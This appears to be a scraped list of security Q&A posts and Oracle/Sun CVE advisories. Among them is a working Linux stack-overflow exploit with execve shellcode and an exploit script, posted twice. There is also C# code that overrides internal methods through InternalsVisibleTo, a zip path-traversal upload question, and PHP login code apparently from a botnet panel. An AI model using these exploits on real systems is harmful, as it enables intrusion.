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  • PHP may be executing as a "privileged" group and user, which could be a serious security vulnerability

    - by Martin
    I ran some security tests on a Ubuntu 12.04 Server, and I've got these warnings : PHP may be executing as a "privileged" group, which could be a serious security vulnerability. PHP may be executing as a "privileged" user, which could be a serious security vulnerability. In /etc/apache2/envvars, I have this: export APACHE_RUN_USER=www-data export APACHE_RUN_GROUP=www-data And all files in /var/www are having these user/group: www-data:www-data Am I setting this correctly? What should I do to fix this problem?

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  • Multiple Denial of Service vulnerabilities in libpng

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2007-5266 Denial of Service (DoS) vulnerability 4.3 PNG reference library (libpng) Solaris 10 SPARC: 137080-03 X86: 137081-03 Solaris 9 SPARC: 139382-02 114822-06 X86: 139383-02 Solaris 8 SPARC: 114816-04 X86: 114817-04 CVE-2007-5267 Denial of Service (DoS) vulnerability 4.3 CVE-2007-5268 Denial of Service (DoS) vulnerability 4.3 CVE-2007-5269 Denial of Service (DoS) vulnerability 5.0 CVE-2008-1382 Denial of Service (DoS) vulnerability 7.5 CVE-2008-3964 Denial of Service (DoS) vulnerability 4.3 CVE-2009-0040 Denial of Service (DoS) vulnerability 6.8 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Web Application Vulnerability Scanner suggestions?

    - by Chris_K
    I'm looking for a new tool for the ol' admin toolkit and would value some suggestions. I would like to do some "automated" testing of handful of websites for XSS (cross site scripting) vulns, along with checking for SQL injection opportunities. I realize that an automated tool approach isn't necessarily the only or best solution, but I'm hoping it would give me a nice start. The sites I need to scan cover the range in stacks from PHP / MySQL to Coldfusion, with some classic ASP and ASP.NET mixed in for good measure. What tools would you use to scan for Web application vulns? (Please note I'm focusing on the web apps directly, not the servers themselves).

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  • BEAST (Browser Exploit Against SSL/TLS) Vulnerability on Port 25 for Postfix

    - by Abdul Haseeb
    I am failing a PCI Compliant scan. I have successfully used RC4 ciphers for Apache setup but my Postfix configuration is still not fixed. What TLS configuration should i use in my main.cf file. my current configuration is as follows # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes tls_preempt_cipherlist = yes smtpd_tls_protocols = !SSLv2 smtpd_tls_mandatory_protocols = !SSLv2, SSLv3 smtpd_tls_cipherlist = RC4-SHA:+TLSv1:!SSLv2:+SSLv3:!aNULL:!NULL smtp_tls_cipherlist = RC4-SHA:+TLSv1:!SSLv2:+SSLv3:!aNULL:!NULL smtpd_tls_security_level = encrypt

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  • Exposing server uptime a potential security vulnerability?

    - by Edward Mazur
    I run a browser-based game and as part of a page with a bunch of game statistics, I have the server uptime listed. It's currently at 177 days and so someone mentioned to me that I shouldn't do this because a long uptime indicates the kernel is old and therefore missing security updates. This certainly sounds logical, but I searched around and couldn't find any evidence to support it. So I'm just wondering, is this indeed something I should not have exposed?

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  • Test tomcat for ssl renegotiation vulnerability

    - by Jim
    How can I test if my server is vulnerable for SSL renegotiation? I tried the following (using OpenSSL 0.9.8j-fips 07 Jan 2009: openssl s_client -connect 10.2.10.54:443 I see it connects, it brings the certificate chain, it shows the server certificate, and last: SSL handshake has read 2275 bytes and written 465 bytes --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA Server public key is 1024 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1 Cipher : DHE-RSA-AES256-SHA Session-ID: 50B4839724D2A1E7C515EB056FF4C0E57211B1D35253412053534C4A20202020 Session-ID-ctx: Master-Key: 7BC673D771D05599272E120D66477D44A2AF4CC83490CB3FDDCF62CB3FE67ECD051D6A3E9F143AE7C1BA39D0BF3510D4 Key-Arg : None Start Time: 1354008417 Timeout : 300 (sec) Verify return code: 21 (unable to verify the first certificate) What does Secure Renegotiation IS supported mean? That SSL renegotiation is allowed? Then I did but did not get an exception or get the certificate again: verify error:num=20:unable to get local issuer certificate verify return:1 verify error:num=27:certificate not trusted verify return:1 verify error:num=21:unable to verify the first certificate verify return:1 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Length: 174 Date: Tue, 27 Nov 2012 09:13:14 GMT Connection: close So is the server vulnerable to SSL renegotiation or not?

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  • Exploiting Path Traversal Vulnerability

    - by Maputo
    I have a Java Web App running on Tomcat on which I'm supposed to exploit Path traversal vulnerability. There is a section (in the App) at which I can upload a .zip file, which gets extracted in the server's /tmp directory. The content of the .zip file is not being checked, so basically I could put anything in it. I tried putting a .jsp file in it and it extracts perfectly. My problem is that I don't know how to reach this file as a "normal" user from browser. I tried entering ../../../tmp/somepage.jsp in the address bar, but Tomcat just strips the ../ and gives me http://localhost:8080/tmp/ resource not available. Ideal would be if I could somehow rename the somepage.jsp so that it gets extracted in the web directory of the Web App. But then, the Linux filesystem disallows slashes in filenames (e.g. ../../home/webapp/somepage.jsp). Are there maybe any escape sequences that would translate to / after extracting? Any ideas would be highly appreciated. Note: This is a school project in a Security course where I'm supposed to locate vulnerabilities and correct them. Not trying to harm anyone...

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  • Multiple vulnerabilities in ImageMagick

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2007-4985 Resource Management Errors vulnerability 4.3 ImageMagick Solaris 10 SPARC: 136882-03 X86: 136883-03 CVE-2007-4986 Numeric Errors vulnerability 6.8 CVE-2007-4987 Numeric Errors vulnerability 9.3 CVE-2007-4988 Numeric Errors vulnerability 6.8 CVE-2010-4167 Untrusted search path vulnerability 6.9 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • InternalsVisibleTo attribute and security vulnerability

    - by Sergey Litvinov
    I found one issue with InternalsVisibleTo attribute usage. The idea of InternalsVisibleTo attribute to allow some other assemblies to use internal classes\methods of this assembly. To make it work you need sign your assemblies. So, if other assemblies isn't specified in main assembly and if they have incorrect public key, then they can't use Internal members. But the issue in Reflection Emit type generation. For example, we have CorpLibrary1 assembly and it has such class: public class TestApi { internal virtual void DoSomething() { Console.WriteLine("Base DoSomething"); } public void DoApiTest() { // some internal logic // ... // call internal method DoSomething(); } } This assembly is marked with such attribute to allow another CorpLibrary2 to make inheritor for that TestAPI and override behaviour of DoSomething method. [assembly: InternalsVisibleTo("CorpLibrary2, PublicKey=0024000004800000940000000602000000240000525341310004000001000100434D9C5E1F9055BF7970B0C106AAA447271ECE0F8FC56F6AF3A906353F0B848A8346DC13C42A6530B4ED2E6CB8A1E56278E664E61C0D633A6F58643A7B8448CB0B15E31218FB8FE17F63906D3BF7E20B9D1A9F7B1C8CD11877C0AF079D454C21F24D5A85A8765395E5CC5252F0BE85CFEB65896EC69FCC75201E09795AAA07D0")] The issue is that I'm able to override this internal DoSomething method and break class logic. My steps to do it: Generate new assembly in runtime via AssemblyBuilder Get AssemblyName from CorpLibrary1 and copy PublikKey to new assembly Generate new assembly that will inherit TestApi class As PublicKey and name of generated assembly is the same as in InternalsVisibleTo, then we can generate new DoSomething method that will override internal method in TestAPI assembly Then we have another assembly that isn't related to this CorpLibrary1 and can't use internal members. We have such test code in it: class Program { static void Main(string[] args) { var builder = new FakeBuilder(InjectBadCode, "DoSomething", true); TestApi fakeType = builder.CreateFake(); fakeType.DoApiTest(); // it will display: // Inject bad code // Base DoSomething Console.ReadLine(); } public static void InjectBadCode() { Console.WriteLine("Inject bad code"); } } And this FakeBuilder class has such code: /// /// Builder that will generate inheritor for specified assembly and will overload specified internal virtual method /// /// Target type public class FakeBuilder { private readonly Action _callback; private readonly Type _targetType; private readonly string _targetMethodName; private readonly string _slotName; private readonly bool _callBaseMethod; public FakeBuilder(Action callback, string targetMethodName, bool callBaseMethod) { int randomId = new Random((int)DateTime.Now.Ticks).Next(); _slotName = string.Format("FakeSlot_{0}", randomId); _callback = callback; _targetType = typeof(TFakeType); _targetMethodName = targetMethodName; _callBaseMethod = callBaseMethod; } public TFakeType CreateFake() { // as CorpLibrary1 can't use code from unreferences assemblies, we need to store this Action somewhere. // And Thread is not bad place for that. It's not the best place as it won't work in multithread application, but it's just a sample LocalDataStoreSlot slot = Thread.AllocateNamedDataSlot(_slotName); Thread.SetData(slot, _callback); // then we generate new assembly with the same nameand public key as target assembly trusts by InternalsVisibleTo attribute var newTypeName = _targetType.Name + "Fake"; var targetAssembly = Assembly.GetAssembly(_targetType); AssemblyName an = new AssemblyName(); an.Name = GetFakeAssemblyName(targetAssembly); // copying public key to new generated assembly var assemblyName = targetAssembly.GetName(); an.SetPublicKey(assemblyName.GetPublicKey()); an.SetPublicKeyToken(assemblyName.GetPublicKeyToken()); AssemblyBuilder assemblyBuilder = Thread.GetDomain().DefineDynamicAssembly(an, AssemblyBuilderAccess.RunAndSave); ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(assemblyBuilder.GetName().Name, true); // create inheritor for specified type TypeBuilder typeBuilder = moduleBuilder.DefineType(newTypeName, TypeAttributes.Public | TypeAttributes.Class, _targetType); // LambdaExpression.CompileToMethod can be used only with static methods, so we need to create another method that will call our Inject method // we can do the same via ILGenerator, but expression trees are more easy to use MethodInfo methodInfo = CreateMethodInfo(moduleBuilder); MethodBuilder methodBuilder = typeBuilder.DefineMethod(_targetMethodName, MethodAttributes.Public | MethodAttributes.Virtual); ILGenerator ilGenerator = methodBuilder.GetILGenerator(); // call our static method that will call inject method ilGenerator.EmitCall(OpCodes.Call, methodInfo, null); // in case if we need, then we put call to base method if (_callBaseMethod) { var baseMethodInfo = _targetType.GetMethod(_targetMethodName, BindingFlags.NonPublic | BindingFlags.Instance); // place this to stack ilGenerator.Emit(OpCodes.Ldarg_0); // call the base method ilGenerator.EmitCall(OpCodes.Call, baseMethodInfo, new Type[0]); // return ilGenerator.Emit(OpCodes.Ret); } // generate type, create it and return to caller Type cheatType = typeBuilder.CreateType(); object type = Activator.CreateInstance(cheatType); return (TFakeType)type; } /// /// Get name of assembly from InternalsVisibleTo AssemblyName /// private static string GetFakeAssemblyName(Assembly assembly) { var internalsVisibleAttr = assembly.GetCustomAttributes(typeof(InternalsVisibleToAttribute), true).FirstOrDefault() as InternalsVisibleToAttribute; if (internalsVisibleAttr == null) { throw new InvalidOperationException("Assembly hasn't InternalVisibleTo attribute"); } var ind = internalsVisibleAttr.AssemblyName.IndexOf(","); var name = internalsVisibleAttr.AssemblyName.Substring(0, ind); return name; } /// /// Generate such code: /// ((Action)Thread.GetData(Thread.GetNamedDataSlot(_slotName))).Invoke(); /// private LambdaExpression MakeStaticExpressionMethod() { var allocateMethod = typeof(Thread).GetMethod("GetNamedDataSlot", BindingFlags.Static | BindingFlags.Public); var getDataMethod = typeof(Thread).GetMethod("GetData", BindingFlags.Static | BindingFlags.Public); var call = Expression.Call(allocateMethod, Expression.Constant(_slotName)); var getCall = Expression.Call(getDataMethod, call); var convCall = Expression.Convert(getCall, typeof(Action)); var invokExpr = Expression.Invoke(convCall); var lambda = Expression.Lambda(invokExpr); return lambda; } /// /// Generate static class with one static function that will execute Action from Thread NamedDataSlot /// private MethodInfo CreateMethodInfo(ModuleBuilder moduleBuilder) { var methodName = "_StaticTestMethod_" + _slotName; var className = "_StaticClass_" + _slotName; TypeBuilder typeBuilder = moduleBuilder.DefineType(className, TypeAttributes.Public | TypeAttributes.Class); MethodBuilder methodBuilder = typeBuilder.DefineMethod(methodName, MethodAttributes.Static | MethodAttributes.Public); LambdaExpression expression = MakeStaticExpressionMethod(); expression.CompileToMethod(methodBuilder); var type = typeBuilder.CreateType(); return type.GetMethod(methodName, BindingFlags.Static | BindingFlags.Public); } } remarks about sample: as we need to execute code from another assembly, CorpLibrary1 hasn't access to it, so we need to store this delegate somewhere. Just for testing I stored it in Thread NamedDataSlot. It won't work in multithreaded applications, but it's just a sample. I know that we use Reflection to get private\internal members of any class, but within reflection we can't override them. But this issue is allows anyone to override internal class\method if that assembly has InternalsVisibleTo attribute. I tested it on .Net 3.5\4 and it works for both of them. How does it possible to just copy PublicKey without private key and use it in runtime? The whole sample can be found there - https://github.com/sergey-litvinov/Tests_InternalsVisibleTo UPDATE1: That test code in Program and FakeBuilder classes hasn't access to key.sn file and that library isn't signed, so it hasn't public key at all. It just copying it from CorpLibrary1 by using Reflection.Emit

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • How are clientside security vulnerabilities generally discovered?

    - by Jehjoa
    I mean in operating systems or their applications. The only way I can think of is examine binaries for the use of dangerous functions like strcpy(), and then try to exploit those. Though with compiler improvements like Visual Studio's /GS switch this possibility should mostly be a thing of the past. Or am I mistaken? What other ways do people use to find vulnerabilities? Just load your target in a debugger, then send unexpected input and see what happens? This seems like a long and tedious process. Could anyone recommend some good books or websites on this subject? Thanks in advance.

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  • Are there any security vulnerabilities in this PHP code?

    - by skorned
    Hi. I just got a site to manage, but am not too sure about the code the previous guy wrote. I'm pasting the login procedure below, could you have a look and tell me if there are any security vulnerabilities? At first glance, it seems like one could get in through SQL injection or manipulating cookies and the ?m= parameter. define ( 'CURRENT_TIME', time ()); / / Current time. define ( 'ONLINE_TIME_MIN', (CURRENT_TIME - BOTNET_TIMEOUT)); / / Minimum time for the status of "Online". define ( 'DEFAULT_LANGUAGE', 'en'); / / Default language. define ( 'THEME_PATH', 'theme'); / / folder for the theme. / / HTTP requests. define ( 'QUERY_SCRIPT', basename ($ _SERVER [ 'PHP_SELF'])); define ( 'QUERY_SCRIPT_HTML', QUERY_SCRIPT); define ( 'QUERY_VAR_MODULE', 'm'); / / variable contains the current module. define ( 'QUERY_STRING_BLANK', QUERY_SCRIPT. '? m ='); / / An empty query string. define ( 'QUERY_STRING_BLANK_HTML', QUERY_SCRIPT_HTML. '? m ='); / / Empty query string in HTML. define ( 'CP_HTTP_ROOT', str_replace ( '\ \', '/', (! empty ($ _SERVER [ 'SCRIPT_NAME'])? dirname ($ _SERVER [ 'SCRIPT_NAME']):'/'))); / / root of CP. / / The session cookie. define ( 'COOKIE_USER', 'p'); / / Username in the cookies. define ( 'COOKIE_PASS', 'u'); / / user password in the cookies. define ( 'COOKIE_LIVETIME', CURRENT_TIME + 2592000) / / Lifetime cookies. define ( 'COOKIE_SESSION', 'ref'); / / variable to store the session. define ( 'SESSION_LIVETIME', CURRENT_TIME + 1300) / / Lifetime of the session. ////////////////////////////////////////////////// ///////////////////////////// / / Initialize. ////////////////////////////////////////////////// ///////////////////////////// / / Connect to the database. if (! ConnectToDB ()) die (mysql_error_ex ()); / / Connecting topic. require_once (THEME_PATH. '/ index.php'); / / Manage login. if (! empty ($ _GET [QUERY_VAR_MODULE])) ( / / Login form. if (strcmp ($ _GET [QUERY_VAR_MODULE], 'login') === 0) ( UnlockSessionAndDestroyAllCokies (); if (isset ($ _POST [ 'user']) & & isset ($ _POST [ 'pass'])) ( $ user = $ _POST [ 'user']; $ pass = md5 ($ _POST [ 'pass']); / / Check login. if (@ mysql_query ( "SELECT id FROM cp_users WHERE name = '". addslashes ($ user). "' AND pass = '". addslashes ($ pass). "' AND flag_enabled = '1 'LIMIT 1") & & @ mysql_affected_rows () == 1) ( if (isset ($ _POST [ 'remember']) & & $ _POST [ 'remember'] == 1) ( setcookie (COOKIE_USER, md5 ($ user), COOKIE_LIVETIME, CP_HTTP_ROOT); setcookie (COOKIE_PASS, $ pass, COOKIE_LIVETIME, CP_HTTP_ROOT); ) LockSession (); $ _SESSION [ 'Name'] = $ user; $ _SESSION [ 'Pass'] = $ pass; / / UnlockSession (); header ( 'Location:'. QUERY_STRING_BLANK. 'home'); ) else ShowLoginForm (true); die (); ) ShowLoginForm (false); die (); ) / / Output if (strcmp ($ _GET [ 'm'], 'logout') === 0) ( UnlockSessionAndDestroyAllCokies (); header ( 'Location:'. QUERY_STRING_BLANK. 'login'); die (); ) ) ////////////////////////////////////////////////// ///////////////////////////// / / Check the login data. ////////////////////////////////////////////////// ///////////////////////////// $ logined = 0, / / flag means, we zalogininy. / / Log in session. LockSession (); if (! empty ($ _SESSION [ 'name']) & &! empty ($ _SESSION [ 'pass'])) ( if (($ r = @ mysql_query ( "SELECT * FROM cp_users WHERE name = '". addslashes ($ _SESSION [' name'])."' AND pass = ' ". addslashes ($ _SESSION [' pass']). " 'AND flag_enabled = '1' LIMIT 1 ")))$ logined = @ mysql_affected_rows (); ) / / Login through cookies. if ($ logined! == 1 & &! empty ($ _COOKIE [COOKIE_USER]) & &! empty ($ _COOKIE [COOKIE_PASS])) ( if (($ r = @ mysql_query ( "SELECT * FROM cp_users WHERE MD5 (name )='". addslashes ($ _COOKIE [COOKIE_USER ])."' AND pass = '". addslashes ($ _COOKIE [COOKIE_PASS]). " 'AND flag_enabled = '1' LIMIT 1 ")))$ logined = @ mysql_affected_rows (); ) / / Unable to login. if ($ logined! == 1) ( UnlockSessionAndDestroyAllCokies (); header ( 'Location:'. QUERY_STRING_BLANK. 'login'); die (); ) / / Get the user data. $ _USER_DATA = @ Mysql_fetch_assoc ($ r); if ($ _USER_DATA === false) die (mysql_error_ex ()); $ _SESSION [ 'Name'] = $ _USER_DATA [ 'name']; $ _SESSION [ 'Pass'] = $ _USER_DATA [ 'pass']; / / Connecting language. if (@ strlen ($ _USER_DATA [ 'language'])! = 2 | |! SafePath ($ _USER_DATA [ 'language']) | |! file_exists ( 'system / lng .'.$_ USER_DATA [' language '].' . php'))$_ USER_DATA [ 'language'] = DEFAULT_LANGUAGE; require_once ( 'system / lng .'.$_ USER_DATA [' language'].'. php '); UnlockSession ();

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  • Multiple Denial of Service vulnerabilities in Quagga

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2011-3323 Denial of Service (DoS) vulnerability 5.0 Quagga Solaris 10 SPARC: 126206-09 X86: 126207-09 Solaris 11 11/11 SRU 4 CVE-2011-3324 Denial of Service (DoS) vulnerability 5.0 CVE-2011-3325 Denial of Service (DoS) vulnerability 5.0 CVE-2011-3326 Denial of Service (DoS) vulnerability 5.0 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Multiple vulnerabilities in Wireshark

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2012-1593 Denial of Service (DoS) vulnerability 3.3 Wireshark Solaris 11 11/11 SRU 8.5 CVE-2012-1594 Improper Control of Generation of Code ('Code Injection') vulnerability 3.3 CVE-2012-1595 Resource Management Errors vulnerability 4.3 CVE-2012-1596 Resource Management Errors vulnerability 5.0 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Multiple Tomcat vulnerabilities in Oracle Health Sciences LabPas

    - by RitwikGhoshal
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2012-2733 Improper Input Validation vulnerability 5.0 Apache Tomcat Oracle Health Sciences LabPas upgrade to Apache Tomcat v6.0.36 CVE-2012-3439 DIGEST authentication implementation issues 5.0 CVE-2012-3546 Security constraints bypass vulnerability 5.5 CVE-2012-4431 CSRF prevention filter bypass vulnerability 4.3 CVE-2012-4534 Denial of Service (DoS) vulnerability 4.3 This notification describes vulnerabilities fixed in third-party components that are included in Oracle's product distributions.Information about vulnerabilities affecting Oracle products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Multiple vulnerabilities in LibTIFF

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2010-2595 Denial of Service (DoS) vulnerability 4.3 LibTIFF Solaris 10 SPARC: 119900-13 X86: 119901-12 CVE-2010-4665 Denial of Service (DoS) vulnerability 4.3 CVE-2011-0192 Denial of Service (DoS) vulnerability 9.3 CVE-2011-1167 Buffer Overflow vulnerability 6.8 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Multiple vulnerabilities in Ghostscript

    - by chandan
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2009-4270 Denial of Service (DoS) vulnerability 9.3 Ghostscript Solaris 10 SPARC: 122259-05 X86: 122260-05 CVE-2010-1628 Memory Corruption vulnerability 9.3 CVE-2010-1869 Buffer Overflow vulnerability 9.3 CVE-2010-2055 Arbitrary Code Execution vulnerability 7.2 This notification describes vulnerabilities fixed in third-party components that are included in Sun's product distribution.Information about vulnerabilities affecting Oracle Sun products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Facebook - Isn't this a big vulnerability risk for users? (After Password Change)

    - by Trufa
    I would like to know you opinions as programmers / developers. When I changed my Facebook password yesterday, by mistake I entered the old one and got this: Am I missing something here or this is a big potencial risk for users. In my opinion this is a problem BECAUSE it is FaceBook and is used by, well, everyone and the latest statistics show that 76.3% of the users are idiots [source:me], that is more that 3/4!! All kidding aside: Isn't this useful information for an attacker? It reveals private information about the user! It could help the attacker gain access to another site in which the user used the same password Granted, you should't use use the same password twice (but remember: 76.3%!!!) Doesn't this simply increase the surface area for attackers? It increases the chances of getting useful information at least. In a site like Facebook 1st choice for hackers and (bad) people interested in valued personal information shouldn't anything increasing the chance of a vulnerability be removed? Am I missing something? Am I being paranoid? Will 76.3% of the accounts will be hacked after this post? Thanks in advance!! BTW if you want to try it out, a dummy account: user: [email protected] (old) password: hunter2

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  • What to do if you find a vulnerability in a competitor's site?

    - by user17610
    While working on a project for my company, I needed to build functionality that allows users to import/export data to/from our competitor's site. While doing this, I discovered a very serious security exploit that could, in short, perform any script on the competitor's website. My natural feeling is to report the issue to them in the spirit of good-will. Exploiting the issue to gain advantage crossed my mind, but I don't want to go down that path. So my question is, would you report a serious vulnerability to your direct competition, in order to help them? Or would you keep your mouth shut? Is there a better way of going about this, perhaps to gain at least some advantage from the fact that I'm helping them by reporting the issue? Update (Clarification): Thanks for all your feedback so far, I appreciate it. Would your answers change if I were to add that the competition in question is a behemoth in the market (hundreds of employees in several continents), and my company only started a few weeks ago (three employees)? It goes without saying, they most definitely will not remember us, and if anything, only realize that their site needs work (which is why we entered this market in the first place). I confess this is one of those moral vs. business toss-ups, but I appreciate all the advice.

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  • openVAS - Microsoft RDP Server Private Key Information Disclosure Vulnerability - false Alarm?

    - by huebkov
    I performed a openVAS scan on a Windows Server 2008 R2 and got a report for a high threat level vulnerability called Microsoft RDP Server Private Key Information Disclosure Vulnerability. An remote attacker could perform a man-in-the-middle attack to gain access to a RDP session. Affected Software is Microsoft RDP 5.2 and below. My server uses RDP 7.1, is this alarm a false alarm? Security Advisor Pages say: Solution Status Unpatched, No remedy... References http://secunia.com/advisories/15605/ http://xforce.iss.net/xforce/xfdb/21954/ http://www.oxid.it/downloads/rdp-gbu.pdf CVE: CVE-2005-1794 BID:13818

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  • Multiple OpenSSL vulnerabilities in Sun SPARC Enterprise M-series XCP Firmware

    - by RitwikGhoshal
    CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2008-5077 Improper Input Validation vulnerability 5.8 OpenSSL in XCP1113 Firmware Sun SPARC Enterprise M3000 SPARC: 14216085 Sun SPARC Enterprise M4000 SPARC: 14216091 Sun SPARC Enterprise M5000 SPARC: 14216093 Sun SPARC Enterprise M8000 SPARC: 14216096 Sun SPARC Enterprise M9000 SPARC: 14216098 CVE-2008-7270 Cryptographic Issues vulnerability 4.3 CVE-2009-0590 Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability 5.0 CVE-2009-3245 Improper Input Validation vulnerability 10.0 CVE-2010-4180 Cipher suite downgrade vulnerability 4.3 This notification describes vulnerabilities fixed in third-party components that are included in Oracle's product distributions.Information about vulnerabilities affecting Oracle products can be found on Oracle Critical Patch Updates and Security Alerts page.

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  • Security Alert For CVE-2010-4476 Released

    - by eric.maurice
    Hello, this is Eric Maurice again. Oracle just released a Security Alert with a fix for the vulnerability CVE-2010-4476, which affects Oracle Java SE and Oracle Java For Business. This vulnerability is present in Java running on servers as well as standalone Java desktop applications. Its successful exploitation by a malicious attacker can result in a complete denial of service for the affected servers. While only recently publicly disclosed, a number of Internet sites have since then reproduced details about this vulnerability, including exploit codes, which may result in allowing a malicious attacker to create a denial of service condition against the targeted system. Oracle therefore strongly recommends that affected organizations apply this fix as soon as possible. Please note that a fix for this vulnerability will also be included in the upcoming Java Critical Patch Update (Java SE and Java for Business Critical Patch Update - February 2011), which will be released on February 15th 2011. Note that the impact of this vulnerability on desktops is minimal: the affected applications or applets running in Internet browsers for example, might stop responding and may need to be restarted; however the desktop itself will not be compromised (i.e. no compromise at the desktop OS level). Oracle therefore recommends that consumers use the Java auto-update mechanism to get this fix. This will prompt them to install the latest version of the Java Runtime Environment 6 update 24 or higher (JRE), which includes the fix for this vulnerability. JRE 6 update 24 will also be distributed with the Java SE and Java for Business Critical Patch Update - February 2011. For More Information: The Critical Patch Updates and Security Alerts page is located at http://www.oracle.com/technetwork/topics/security/alerts-086861.html The Advisory for Security Alert CVE-2010-4476 is located at http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html More information on Oracle Software Security Assurance is located at http://www.oracle.com/us/support/assurance/index.html Consumers can go to http://www.java.com/en/download/installed.jsp to ensure that they have the latest version of Java running on their desktops. More information on Java Update is available at http://www.java.com/en/download/help/java_update.xml

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  • Vulnerability research. Is it really research?

    - by Benjamin
    IT security people often say they do "vulnerability research". They defend the idea that they actually are doing some kind of "research". But is searching for vulnerabilities in software real research? A geologist looking for mines in the desert is doing "exploration", not "research".

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